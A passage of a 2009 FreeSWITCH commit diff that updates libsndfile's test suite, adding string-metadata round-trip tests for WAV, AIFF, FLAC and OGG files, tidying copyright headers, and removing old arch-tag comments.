+		if ((data_out [k] < 0.0 && data_in [k] > 0) || (data_out [k] > 0.0 && data_in [k] < 0))
+		{	printf ("\n\nLine %d: Data wrap around at index %d/%d  (%f -> %d).\n\n", __LINE__, k, BUFFER_SIZE, data_out [k], data_in [k]) ;
+			exit (1) ;
+			} ;
+		max_value = (max_value > abs (data_in [k])) ? max_value : abs (data_in [k]) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* [+ (get "float_short_name") +]_[+ (get "int_type_name") +]_clip_read_test */
+[+ ENDFOR int_type
++][+ ENDFOR float_type +]
+
+/*==============================================================================
+*/
+
+[+ FOR int_type +]
+[+ FOR float_type
++]static void [+ (get "int_type_name") +]_[+ (get "float_short_name") +]_scale_write_test (const char *filename, int filetype)
+{	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	[+ (get "int_type_name") +]		*data_out ;
+	[+ (get "float_type_name") +]	*data_in, max_value ;
+	int			k ;
+
+	print_test_name ("[+ (get "int_type_name") +]_[+ (get "float_short_name") +]_clip_write_test", filename) ;
+
+	data_out = buffer_out.[+ (get "int_short_name") +] ;
+	data_in = buffer_in.[+ (get "float_short_name") +] ;
+
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		data_out [k] = [+ (get "float_to_int") +] ([+ (get "int_max_value") +] * 0.995 * sin (4 * M_PI * k / BUFFER_SIZE)) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.frames		= 123456789 ; /* Wrong length. Library should correct this on sf_close. */
+	sfinfo.channels		= 1 ;
+	sfinfo.format		= filetype ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	test_write_[+ (get "int_type_name") +]_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_TRUE) ;
+	test_write_[+ (get "int_type_name") +]_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_command (file, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_FALSE) ;
+	test_write_[+ (get "int_type_name") +]_or_die (file, 0, data_out, BUFFER_SIZE, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	sfinfo.format &= (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK) ;
+
+	if (sfinfo.format != (filetype & (SF_FORMAT_TYPEMASK | SF_FORMAT_SUBMASK)))
+	{	printf ("\n\nLine %d: Returned format incorrect (0x%08X => 0x%08X).\n\n", __LINE__, filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames != 3 * BUFFER_SIZE)
+	{	printf ("\n\nLine %d: Incorrect number of frames in file (%d => %ld).\n\n", __LINE__, 3 * BUFFER_SIZE, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != 1)
+	{	printf ("\n\nLine %d: Incorrect number of channels in file.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	/* Check the first section. */
+	test_read_[+ (get "float_type_name") +]_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the second section. */
+	test_read_[+ (get "float_type_name") +]_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value > 1.0)
+	{	printf ("\n\nLine %d: Max value (%f) > 1.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	/* Check the third section. */
+	test_read_[+ (get "float_type_name") +]_or_die (file, 0, data_in, BUFFER_SIZE, __LINE__) ;
+
+	max_value = 0.0 ;
+	for (k = 0 ; k < BUFFER_SIZE ; k++)
+		max_value = (max_value > fabs (data_in [k])) ? max_value : fabs (data_in [k]) ;
+
+	if (max_value < 1000.0)
+	{	printf ("\n\nLine %d: Max value (%f) < 1000.0.\n\n", __LINE__, max_value) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* [+ (get "int_type_name") +]_[+ (get "float_short_name") +]_scale_write_test */
+[+ ENDFOR float_type
++][+ ENDFOR int_type +]
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/sfversion.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/sfversion.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/sfversion.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -40,10 +40,3 @@
 	return 0 ;
 } /* main */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 53b0b14d-a52b-4094-b510-df91e4947574
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/stdin_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/stdin_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/stdin_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -195,10 +195,4 @@
 
 	return ;
 } /* stdin_test */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5e470e3e-743e-4bbc-a588-ec883843c938
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/stdio_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/stdio_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/stdio_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -74,7 +74,7 @@
 {	int k ;
 
 	if (file_exists ("libsndfile.spec.in"))
-		chdir ("tests") ;
+		exit_if_true (chdir ("tests") != 0, "\n    Error : chdir ('tests') failed.\n") ;
 
 	for (k = 0 ; filetypes [k] ; k++)
 		stdio_test (filetypes [k]) ;
@@ -150,10 +150,3 @@
 
 #endif
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: f46d84fd-d37b-4d08-b1ba-80f2f1e0cfb9
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/stdout_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/stdout_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/stdout_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -158,10 +158,4 @@
 
 	return ;
 } /* stdout_test */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 660c3f79-a459-4c7c-899b-b360b7403403
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/string_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/string_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/string_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003,2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -34,9 +34,13 @@
 #define	BUFFER_LEN			(1 << 10)
 #define LOG_BUFFER_SIZE		1024
 
-static void	string_test (const char *filename, int typemajor) ;
+static void	string_start_test (const char *filename, int typemajor) ;
+static void	string_start_end_test (const char *filename, int typemajor) ;
+static void	string_multi_set_test (const char *filename, int typemajor) ;
+static void	string_rdwr_test (const char *filename, int typemajor) ;
+static void	string_short_rdwr_test (const char *filename, int typemajor) ;
 
-static int libsndfile_str_count (const char * cptr) ;
+static int str_count (const char * haystack, const char * needle) ;
 
 int
 main (int argc, char *argv [])
@@ -48,6 +52,8 @@
 		printf ("    Where <test> is one of the following:\n") ;
 		printf ("           wav  - test adding strings to WAV files\n") ;
 		printf ("           aiff - test adding strings to AIFF files\n") ;
+		printf ("           flac - test adding strings to FLAC files\n") ;
+		printf ("           ogg  - test adding strings to OGG files\n") ;
 		printf ("           all  - perform all tests\n") ;
 		exit (1) ;
 		} ;
@@ -55,15 +61,60 @@
 	do_all =! strcmp (argv [1], "all") ;
 
 	if (do_all || ! strcmp (argv [1], "wav"))
-	{	string_test ("strings.wav", SF_FORMAT_WAV) ;
+	{	string_start_end_test ("strings.wav", SF_FORMAT_WAV) ;
+		string_multi_set_test ("multi.wav", SF_FORMAT_WAV) ;
+		string_rdwr_test ("rdwr.wav", SF_FORMAT_WAV) ;
+		string_short_rdwr_test ("short_rdwr.wav", SF_FORMAT_WAV) ;
+
+		string_start_end_test ("strings.wavex", SF_FORMAT_WAVEX) ;
+		string_multi_set_test ("multi.wavex", SF_FORMAT_WAVEX) ;
+		string_rdwr_test ("rdwr.wavex", SF_FORMAT_WAVEX) ;
+		string_short_rdwr_test ("short_rdwr.wavex", SF_FORMAT_WAVEX) ;
+
+		string_start_end_test ("strings.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV) ;
+		string_multi_set_test ("multi.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV) ;
+		string_rdwr_test ("rdwr.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV) ;
+		string_short_rdwr_test ("short_rdwr.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "aiff"))
-	{	string_test ("strings.aiff", SF_FORMAT_AIFF) ;
+	{	string_start_end_test ("strings.aiff", SF_FORMAT_AIFF) ;
+		/*
+		string_multi_set_test ("multi.aiff", SF_FORMAT_AIFF) ;
+		string_rdwr_test ("rdwr.aiff", SF_FORMAT_AIFF) ;
+		string_short_rdwr_test ("short_rdwr.aiff", SF_FORMAT_AIFF) ;
+		*/
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "flac"))
+	{	if (HAVE_EXTERNAL_LIBS)
+			string_start_test ("strings.flac", SF_FORMAT_FLAC) ;
+		else
+			puts ("    No FLAC tests because FLAC support was not compiled in.") ;
+		test_count++ ;
+		} ;
+
+	if (do_all || ! strcmp (argv [1], "ogg"))
+	{	if (HAVE_EXTERNAL_LIBS)
+			string_start_test ("vorbis.oga", SF_FORMAT_OGG) ;
+		else
+			puts ("    No Ogg/Vorbis tests because Ogg/Vorbis support was not compiled in.") ;
+		test_count++ ;
+		} ;
+
+	if (do_all || ! strcmp (argv [1], "rf64"))
+	{	puts ("\n\n     **** String test not working yet for RF64 format. ****\n") ;
+		/*
+		string_start_end_test ("strings.rf64", SF_FORMAT_RF64) ;
+		string_multi_set_test ("multi.rf64", SF_FORMAT_RF64) ;
+		string_rdwr_test ("rdwr.rf64", SF_FORMAT_RF64) ;
+		string_short_rdwr_test ("short_rdwr.rf64", SF_FORMAT_RF64) ;
+		*/
+		test_count++ ;
+		} ;
+
 	if (test_count == 0)
 	{	printf ("Mono : ************************************\n") ;
 		printf ("Mono : *  No '%s' test defined.\n", argv [1]) ;
@@ -82,14 +133,20 @@
 static const char
 	software	[]	= "software (libsndfile-X.Y.Z)",
 	artist		[]	= "The Artist",
-	copyright	[]	= "Copyright (c) 2001 The Artist",
+	copyright	[]	= "Copyright (c) 2001 Artist",
 	comment		[]	= "Comment goes here!!!",
-	date		[]	= "2001/01/27" ;
+	date		[]	= "2001/01/27",
+	album		[]	= "The Album",
+	license		[]	= "The license",
+	title		[]	= "This is the title",
+	long_title	[]	= "This is a very long and very boring title for this file",
+	long_artist	[]	= "The artist who kept on changing its name" ;
 
+
 static	short	data_out [BUFFER_LEN] ;
 
 static void
-string_test (const char *filename, int typemajor)
+string_start_end_test (const char *filename, int typemajor)
 {	const char	*cptr ;
 	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
@@ -97,22 +154,154 @@
 
 	typemajor = typemajor ;
 
-	print_test_name ("string_test", filename) ;
+	print_test_name ("string_start_end_test", filename) ;
 
 	sfinfo.samplerate	= 44100 ;
 	sfinfo.channels		= 1 ;
 	sfinfo.frames		= 0 ;
+	sfinfo.format		= typemajor | SF_FORMAT_PCM_16 ;
 
+	frames = BUFFER_LEN / sfinfo.channels ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+
+	/* Write stuff at start of file. */
+	sf_set_string (file, SF_STR_TITLE, filename) ;
+	sf_set_string (file, SF_STR_SOFTWARE, software) ;
+	sf_set_string (file, SF_STR_ARTIST, artist) ;
+
+	/* Write data to file. */
+	test_write_short_or_die (file, 0, data_out, BUFFER_LEN, __LINE__) ;
+	test_seek_or_die (file, 0, SEEK_SET, 0, sfinfo.channels, __LINE__) ;
+
+	/* Write more stuff at end of file. */
+	sf_set_string (file, SF_STR_COPYRIGHT, copyright) ;
+	sf_set_string (file, SF_STR_COMMENT, comment) ;
+	sf_set_string (file, SF_STR_DATE, date) ;
+	sf_set_string (file, SF_STR_ALBUM, album) ;
+	sf_set_string (file, SF_STR_LICENSE, license) ;
+
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	if (sfinfo.frames != BUFFER_LEN)
+	{	printf ("***** Bad frame count %d (should be %d)\n\n", (int) sfinfo.frames, BUFFER_LEN) ;
+		errors ++ ;
+		} ;
+
+	cptr = sf_get_string (file, SF_STR_TITLE) ;
+	if (cptr == NULL || strcmp (filename, cptr) != 0)
+	{	if (errors++ == 0)
+			puts ("\n") ;
+		printf ("    Bad filename  : %s\n", cptr) ;
+		} ;
+
+	cptr = sf_get_string (file, SF_STR_COPYRIGHT) ;
+	if (cptr == NULL || strcmp (copyright, cptr) != 0)
+	{	if (errors++ == 0)
+			puts ("\n") ;
+		printf ("    Bad copyright : %s\n", cptr) ;
+		} ;
+
+	cptr = sf_get_string (file, SF_STR_SOFTWARE) ;
+	if (cptr == NULL || strstr (cptr, software) != cptr)
+	{	if (errors++ == 0)
+			puts ("\n") ;
+		printf ("    Bad software  : %s\n", cptr) ;
+		} ;
+
+	if (str_count (cptr, "libsndfile") != 1)
+	{	if (errors++ == 0)
+			puts ("\n") ;
+		printf ("    Bad software  : %s\n", cptr) ;
+		} ;
+
+	cptr = sf_get_string (file, SF_STR_ARTIST) ;
+	if (cptr == NULL || strcmp (artist, cptr) != 0)
+	{	if (errors++ == 0)
+			puts ("\n") ;
+		printf ("    Bad artist    : %s\n", cptr) ;
+		} ;
+
+	cptr = sf_get_string (file, SF_STR_COMMENT) ;
+	if (cptr == NULL || strcmp (comment, cptr) != 0)
+	{	if (errors++ == 0)
+			puts ("\n") ;
+		printf ("    Bad comment   : %s\n", cptr) ;
+		} ;
+
+	if (typemajor != SF_FORMAT_AIFF)
+	{	cptr = sf_get_string (file, SF_STR_DATE) ;
+		if (cptr == NULL || strcmp (date, cptr) != 0)
+		{	if (errors++ == 0)
+				puts ("\n") ;
+			printf ("    Bad date      : %s\n", cptr) ;
+			} ;
+		} ;
+
 	switch (typemajor)
-	{	case SF_FORMAT_WAV :
-			sfinfo.format = (typemajor | SF_FORMAT_PCM_U8) ;
+	{	case SF_FORMAT_AIFF :
+		case SF_FORMAT_WAV :
+		case SF_FORMAT_WAVEX :
+		case SF_ENDIAN_BIG | SF_FORMAT_WAV :
 			break ;
 
 		default :
-			sfinfo.format = (typemajor | SF_FORMAT_PCM_S8) ;
+			cptr = sf_get_string (file, SF_STR_ALBUM) ;
+			if (cptr == NULL || strcmp (album, cptr) != 0)
+			{	if (errors++ == 0)
+					puts ("\n") ;
+				printf ("    Bad album   : %s\n", cptr) ;
+				} ;
+
+			cptr = sf_get_string (file, SF_STR_LICENSE) ;
+			if (cptr == NULL || strcmp (license, cptr) != 0)
+			{	if (errors++ == 0)
+					puts ("\n") ;
+				printf ("    Bad license : %s\n", cptr) ;
+				} ;
+
 			break ;
 		} ;
 
+	if (errors > 0)
+	{	printf ("\n*** Error count : %d ***\n\n", errors) ;
+		dump_log_buffer (file) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+	unlink (filename) ;
+
+	puts ("ok") ;
+} /* string_start_end_test */
+
+static void
+string_start_test (const char *filename, int typemajor)
+{	const char	*cptr ;
+	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	int			frames, errors = 0 ;
+
+	print_test_name ("string_start_test", filename) ;
+
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.channels		= 1 ;
+	sfinfo.frames		= 0 ;
+
+	switch (typemajor)
+	{	case SF_FORMAT_OGG :
+			sfinfo.format = typemajor | SF_FORMAT_VORBIS ;
+			break ;
+
+		default :
+			sfinfo.format = typemajor | SF_FORMAT_PCM_16 ;
+			break ;
+		} ;
+
 	frames = BUFFER_LEN / sfinfo.channels ;
 
 	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
@@ -121,16 +310,15 @@
 	sf_set_string (file, SF_STR_TITLE, filename) ;
 	sf_set_string (file, SF_STR_SOFTWARE, software) ;
 	sf_set_string (file, SF_STR_ARTIST, artist) ;
+	sf_set_string (file, SF_STR_COPYRIGHT, copyright) ;
+	sf_set_string (file, SF_STR_COMMENT, comment) ;
+	sf_set_string (file, SF_STR_DATE, date) ;
+	sf_set_string (file, SF_STR_ALBUM, album) ;
+	sf_set_string (file, SF_STR_LICENSE, license) ;
 
 	/* Write data to file. */
 	test_write_short_or_die (file, 0, data_out, BUFFER_LEN, __LINE__) ;
-	test_seek_or_die (file, 0, SEEK_SET, 0, sfinfo.channels, __LINE__) ;
 
-	/* Write more stuff at end of file. */
-	sf_set_string (file, SF_STR_COPYRIGHT, copyright) ;
-	sf_set_string (file, SF_STR_COMMENT, comment) ;
-	sf_set_string (file, SF_STR_DATE, date) ;
-
 	sf_close (file) ;
 
 	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
@@ -163,7 +351,7 @@
 		printf ("    Bad software  : %s\n", cptr) ;
 		} ;
 
-	if (libsndfile_str_count (cptr) != 1)
+	if (str_count (cptr, "libsndfile") != 1)
 	{	if (errors++ == 0)
 			puts ("\n") ;
 		printf ("    Bad software  : %s\n", cptr) ;
@@ -192,6 +380,24 @@
 			} ;
 		} ;
 
+	if (typemajor != SF_FORMAT_WAV && typemajor != SF_FORMAT_AIFF)
+	{	cptr = sf_get_string (file, SF_STR_ALBUM) ;
+		if (cptr == NULL || strcmp (album, cptr) != 0)
+		{	if (errors++ == 0)
+				puts ("\n") ;
+			printf ("    Bad album     : %s\n", cptr) ;
+			} ;
+		} ;
+
+	if (typemajor != SF_FORMAT_WAV && typemajor != SF_FORMAT_AIFF)
+	{	cptr = sf_get_string (file, SF_STR_LICENSE) ;
+		if (cptr == NULL || strcmp (license, cptr) != 0)
+		{	if (errors++ == 0)
+				puts ("\n") ;
+			printf ("    Bad license   : %s\n", cptr) ;
+			} ;
+		} ;
+
 	if (errors > 0)
 	{	printf ("\n*** Error count : %d ***\n\n", errors) ;
 		dump_log_buffer (file) ;
@@ -202,26 +408,201 @@
 	unlink (filename) ;
 
 	puts ("ok") ;
-} /* string_test */
+} /* string_start_test */
 
-static int
-libsndfile_str_count (const char * str)
-{	const char * cptr ;
+static void
+string_multi_set_test (const char *filename, int typemajor)
+{	static const char
+		new_software	[]	= "new software (libsndfile-X.Y.Z)",
+		new_copyright	[]	= "Copyright (c) 2001 New Artist",
+		new_artist		[]	= "The New Artist",
+		new_title		[]	= "This is the new title" ;
 
-	if ((cptr = strstr (str, "libsndfile")) == NULL)
-		return 0 ;
+	static char buffer [2048] ;
+	SNDFILE		*file ;
+	SF_INFO		sfinfo ;
+	int			count ;
 
-	if ((cptr = strstr (cptr + 1, "libsndfile")) == NULL)
-		return 1 ;
+	print_test_name (__func__, filename) ;
 
-	return 2 ;
-} /* libsndfile_str_count */
+	sfinfo.format		= typemajor | SF_FORMAT_PCM_16 ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.channels		= 1 ;
+	sfinfo.frames		= 0 ;
 
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 0260b3db-c250-4244-95a0-d288a913729a
-*/
+	/* Write stuff at start of file. */
+	sf_set_string (file, SF_STR_TITLE, title) ;
+	sf_set_string (file, SF_STR_SOFTWARE, software) ;
+	sf_set_string (file, SF_STR_ARTIST, artist) ;
+
+	/* Write data to file. */
+	test_write_short_or_die (file, 0, data_out, BUFFER_LEN, __LINE__) ;
+
+	/* Write it all again. */
+
+	sf_set_string (file, SF_STR_TITLE, new_title) ;
+	sf_set_string (file, SF_STR_SOFTWARE, new_software) ;
+	sf_set_string (file, SF_STR_ARTIST, new_artist) ;
+
+	sf_set_string (file, SF_STR_COPYRIGHT, copyright) ;
+	sf_set_string (file, SF_STR_COMMENT, comment) ;
+	sf_set_string (file, SF_STR_DATE, date) ;
+	sf_set_string (file, SF_STR_ALBUM, album) ;
+	sf_set_string (file, SF_STR_LICENSE, license) ;
+	sf_set_string (file, SF_STR_COPYRIGHT, new_copyright) ;
+	sf_set_string (file, SF_STR_COMMENT, comment) ;
+	sf_set_string (file, SF_STR_DATE, date) ;
+	sf_set_string (file, SF_STR_ALBUM, album) ;
+	sf_set_string (file, SF_STR_LICENSE, license) ;
+
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command	(file, SFC_GET_LOG_INFO, buffer, sizeof (buffer)) ;
+	sf_close (file) ;
+
+	count = str_count (buffer, new_title) ;
+	exit_if_true (count < 1, "\n\nLine %d : Could not find new_title in :\n%s\n", __LINE__, buffer) ;
+	exit_if_true (count > 1, "\n\nLine %d : new_title appears %d times in :\n\n%s\n", __LINE__, count, buffer) ;
+
+	count = str_count (buffer, software) ;
+	exit_if_true (count < 1, "\n\nLine %d : Could not find new_software in :\n%s\n", __LINE__, buffer) ;
+	exit_if_true (count > 1, "\n\nLine %d : new_software appears %d times in :\n\n%s\n", __LINE__, count, buffer) ;
+
+	count = str_count (buffer, new_artist) ;
+	exit_if_true (count < 1, "\n\nLine %d : Could not find new_artist in :\n%s\n", __LINE__, buffer) ;
+	exit_if_true (count > 1, "\n\nLine %d : new_artist appears %d times in :\n\n%s\n", __LINE__, count, buffer) ;
+
+	count = str_count (buffer, new_copyright) ;
+	exit_if_true (count < 1, "\n\nLine %d : Could not find new_copyright in :\n%s\n", __LINE__, buffer) ;
+	exit_if_true (count > 1, "\n\nLine %d : new_copyright appears %d times in :\n\n%s\n", __LINE__, count, buffer) ;
+
+	unlink (filename) ;
+
+	puts ("ok") ;
+} /* string_multi_set_test */
+
+static void
+string_rdwr_test (const char *filename, int typemajor)
+{	SNDFILE *file ;
+	SF_INFO sfinfo ;
+	sf_count_t frames ;
+	const char * str ;
+
+	print_test_name (__func__, filename) ;
+	create_short_sndfile (filename, typemajor | SF_FORMAT_PCM_16, 2) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	file = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_FALSE, __LINE__) ;
+	frames = sfinfo.frames ;
+	sf_set_string (file, SF_STR_TITLE, title) ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+	exit_if_true (frames != sfinfo.frames, "\n\nLine %d : Frame count %lld should be %lld.\n", __LINE__, sfinfo.frames, frames) ;
+	str = sf_get_string (file, SF_STR_TITLE) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_TITLE string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, title) != 0, "\n\nLine %d : SF_STR_TITLE doesn't match what was written.\n", __LINE__) ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_FALSE, __LINE__) ;
+	frames = sfinfo.frames ;
+	sf_set_string (file, SF_STR_TITLE, title) ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_FALSE, __LINE__) ;
+	str = sf_get_string (file, SF_STR_TITLE) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_TITLE string is NULL.\n", __LINE__) ;
+	sf_set_string (file, SF_STR_ARTIST, artist) ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	str = sf_get_string (file, SF_STR_ARTIST) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_ARTIST string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, artist) != 0, "\n\nLine %d : SF_STR_ARTIST doesn't match what was written.\n", __LINE__) ;
+
+	str = sf_get_string (file, SF_STR_TITLE) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_TITLE string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, title) != 0, "\n\nLine %d : SF_STR_TITLE doesn't match what was written.\n", __LINE__) ;
+
+	exit_if_true (frames != sfinfo.frames, "\n\nLine %d : Frame count %lld should be %lld.\n", __LINE__, sfinfo.frames, frames) ;
+
+	sf_close (file) ;
+	unlink (filename) ;
+
+	puts ("ok") ;
+} /* string_rdwr_test */
+
+static void
+string_short_rdwr_test (const char *filename, int typemajor)
+{	SNDFILE *file ;
+	SF_INFO sfinfo ;
+	sf_count_t frames = BUFFER_LEN ;
+	const char * str ;
+
+	print_test_name (__func__, filename) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.format		= typemajor | SF_FORMAT_PCM_16 ;
+	sfinfo.samplerate	= 44100 ;
+	sfinfo.channels		= 1 ;
+	sfinfo.frames		= 0 ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+
+	/* Write data to file. */
+	test_write_short_or_die (file, 0, data_out, BUFFER_LEN, __LINE__) ;
+
+	sf_set_string (file, SF_STR_TITLE, long_title) ;
+	sf_set_string (file, SF_STR_ARTIST, long_artist) ;
+	sf_close (file) ;
+
+	/* Open the file RDWR. */
+	file = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_FALSE, __LINE__) ;
+	exit_if_true (frames != sfinfo.frames, "\n\nLine %d : Frame count %lld should be %lld.\n", __LINE__, sfinfo.frames, frames) ;
+	str = sf_get_string (file, SF_STR_TITLE) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_TITLE string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, long_title) != 0, "\n\nLine %d : SF_STR_TITLE doesn't match what was written.\n", __LINE__) ;
+	str = sf_get_string (file, SF_STR_ARTIST) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_TITLE string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, long_artist) != 0, "\n\nLine %d : SF_STR_ARTIST doesn't match what was written.\n", __LINE__) ;
+
+	/* Change title and artist. */
+	sf_set_string (file, SF_STR_TITLE, title) ;
+	sf_set_string (file, SF_STR_ARTIST, artist) ;
+
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+
+	str = sf_get_string (file, SF_STR_TITLE) ;
